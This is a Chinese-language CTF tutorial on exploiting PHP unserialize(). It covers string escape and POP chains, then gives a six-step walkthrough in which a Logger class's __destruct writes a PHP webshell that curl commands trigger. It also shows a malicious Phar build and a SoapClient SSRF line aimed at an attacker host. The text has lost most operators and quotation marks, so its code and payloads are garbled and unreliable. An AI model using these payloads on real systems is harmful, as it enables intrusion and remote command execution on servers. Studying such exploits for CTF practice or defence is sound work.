PHP 反序列化漏洞 CTF 实战:从字符串逃逸到 POP 链构造的 6 步利用

PHP 反序列化漏洞 CTF 实战:从字符串逃逸到 POP 链构造的 6 步利用
PHP 反序列化漏洞 CTF 实战从字符串逃逸到 POP 链构造的 6 步利用在 CTF 竞赛中PHP 反序列化漏洞一直是 Web 安全方向的高频考点。这类漏洞往往能实现从简单的信息泄露到远程代码执行RCE的完整攻击链。本文将深入剖析两种典型利用场景字符串逃逸与 POPProperty-Oriented Programming链构造通过 6 个实战步骤带你掌握高级利用技巧。1. PHP 反序列化漏洞基础原理PHP 反序列化漏洞的核心在于unserialize()函数对用户输入数据的信任。当攻击者能够控制被反序列化的数据时就可能触发对象注入Object Injection进而执行恶意代码。关键魔术方法及其触发条件魔术方法触发时机常见利用场景__wakeup()对象被反序列化时自动调用初始化资源或权限检查__destruct()对象被销毁时调用文件操作、数据库连接关闭等__toString()对象被当作字符串处理时调用字符串拼接、echo 输出等__call()调用不可访问方法时触发方法调用劫持典型漏洞代码示例class VulnerableClass { public $data; function __wakeup() { if (isset($this-data)) { include($this-data); // 危险操作 } } } $user_input $_GET[data]; $obj unserialize($user_input); // 反序列化用户输入2. 字符串逃逸漏洞利用字符串逃逸String Escape是反序列化漏洞中的一种特殊场景通常出现在对序列化字符串进行过滤或修改时。其本质是通过精心构造的输入改变原始序列化结构。典型利用步骤识别过滤机制确定系统如何处理序列化字符串如替换特定字符、截断长度等计算逃逸长度根据过滤规则计算需要多少字符才能逃出当前上下文构造恶意负载设计能够改变后续解析结构的序列化字符串注入对象属性在逃逸后的位置插入恶意对象定义实战案例假设系统将序列化字符串中的;替换为X// 原始安全代码 $safe_data str_replace(;, X, $_POST[data]); $obj unserialize($safe_data); // 攻击者构造的payload a:2:{s:4:user;s:5:admin;s:4:pass;s:6:123456;}通过精心设计可以构造如下攻击负载a:2:{s:4:user;s:5:admin;s:4:pass;s:6:123456;s:3:cmd;s:10:evil_code;}注意实际构造时需要根据具体过滤规则计算精确的字符数量和位置3. POP 链构造技术POPProperty-Oriented Programming链是通过串联多个类的魔术方法和属性形成从反序列化点到危险函数的调用链。与单一漏洞利用不同POP 链需要深入分析应用程序的类结构。构建 POP 链的 4 个关键步骤类发现通过文件包含、报错信息等获取可用类列表方法分析识别各类中的魔术方法和危险函数调用链路组装寻找从__wakeup/__destruct到危险方法的调用路径参数控制确定哪些属性可以控制危险函数的参数示例 POP 链结构__destruct() (Class A) → calls $this-cleanup() → uses $this-filename (Class B) → passed to file_get_contents()4. CTF 实战6 步解题示范下面通过一个模拟 CTF 题目演示完整利用过程步骤 1信息收集# 扫描目标系统 curl -v http://target.com/index.php # 获取PHP版本信息 curl -v http://target.com/phpinfo.php步骤 2识别反序列化入口发现用户输入通过unserialize()处理$data base64_decode($_GET[data]); $obj unserialize($data);步骤 3分析可用类通过文件泄露获取源码发现三个关键类class Logger { private $log_file; function __destruct() { file_put_contents($this-log_file, $this-log_content); } } class User { public $username; public $is_admin; function __wakeup() { if ($this-is_admin) { echo Welcome admin!; } } } class FileManager { public $filename; function getContents() { return file_get_contents($this-filename); } }步骤 4构建 POP 链选择利用路径Logger::__destruct() → file_put_contents() → 控制 $log_file 和 $log_content步骤 5构造恶意序列化数据$exploit new Logger(); $exploit-log_file shell.php; $exploit-log_content ?php system($_GET[cmd]); ?; echo urlencode(base64_encode(serialize($exploit)));步骤 6执行攻击curl http://target.com/vuln.php?data[生成的payload] # 验证webshell curl http://target.com/shell.php?cmdid5. 防御措施与绕过技巧开发者防护方案使用json_encode()/json_decode()替代序列化实现严格的输入验证function safe_unserialize($input) { $allowed_classes [SafeClass1, SafeClass2]; return unserialize($input, [allowed_classes $allowed_classes]); }对敏感操作进行二次验证攻击者绕过技巧利用 Phar 文件触发反序列化通过字符编码绕过过滤如 UTF-16组合多个简单类构造复杂 POP 链6. 高级技巧与实战案例案例 1结合 Phar 的反序列化// 创建恶意phar文件 $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $exploit new VulnerableClass(); $exploit-data php://filter/convert.base64-decode/resourceshell.php; $phar-setMetadata($exploit); $phar-addFromString(test.txt, test); $phar-stopBuffering(); // 触发方式 file_exists(phar://exploit.phar);案例 2利用内置类的 POP 链PHP 内置类中也存在可利用的方法// 使用SimpleXMLElement进行XXE攻击 $xml new SimpleXMLElement($data, LIBXML_NOENT); // 使用SoapClient进行SSRF $client new SoapClient(null, [urihttp://target, locationhttp://attacker]);在实际 CTF 比赛中我曾遇到一道需要组合 5 个类才能完成利用的题目。通过分析框架源码最终发现一个不起眼的缓存类可以作为 POP 链的起点这种深度挖掘的过程正是 CTF 最吸引人的地方。